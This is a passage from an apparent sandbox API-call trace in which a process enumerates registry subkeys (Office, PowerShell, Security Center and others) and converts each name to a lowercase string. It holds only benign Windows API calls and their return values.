lpMultiByteStr=0xddc0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0023.810] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0xddb930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0023.810] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0xddb930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0xddc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0023.810] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0xddb930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0023.810] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0xddb930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xddc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0023.810] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0xddb930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0023.811] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0xddb930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0xddc0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0023.811] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0xddb930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0023.811] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0xddb930, cchName=0x104 | out: lpName="Network") returned 0x0 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xddc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0023.811] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0xddb930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0xddc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0023.811] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0xddb930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0xddc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0023.811] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0xddb930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0023.812] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0xddb930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0xddc0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0023.812] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0xddb930, cchName=0x104 | out: lpName="Office") returned 0x0 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xddc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0023.812] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0xddb930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0xddc0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0023.812] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0xddb930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0023.812] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0xddb930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0xddc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0023.812] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0xddb930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0023.812] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0xddb930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0023.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0xddc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0023.813] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0xddb930, cchName=0x104 | out: lpName="Print") returned 0x0 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0023.813] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0xddb930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0xddc0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0023.813] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0xddb930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0023.813] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0xddb930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0xddc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0023.813] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0xddb930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0xddc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0023.813] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0xddb930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0xddc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0023.813] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0xddb930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0xddc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0023.814] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0xddb930, cchName=0x104 | out: lpName="Router") returned 0x0 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0xddc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0023.814] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0xddb930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0xddc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0023.814] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0xddb930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0xddc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0023.814] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0xddb930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0xddc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0023.814] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0xddb930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0xddc0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0023.814] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0xddb930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0023.814] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0xddb930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0xddc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0023.815] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0xddb930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0023.815] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0xddb930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0xddc0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0023.815] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0xddb930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0023.815] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0xddb930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0xddc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0023.815] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0xddb930, cchName=0x104 | out: lpName="Software") returned 0x0 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0023.815] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0xddb930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0xddc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0023.815] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0xddb930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0023.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 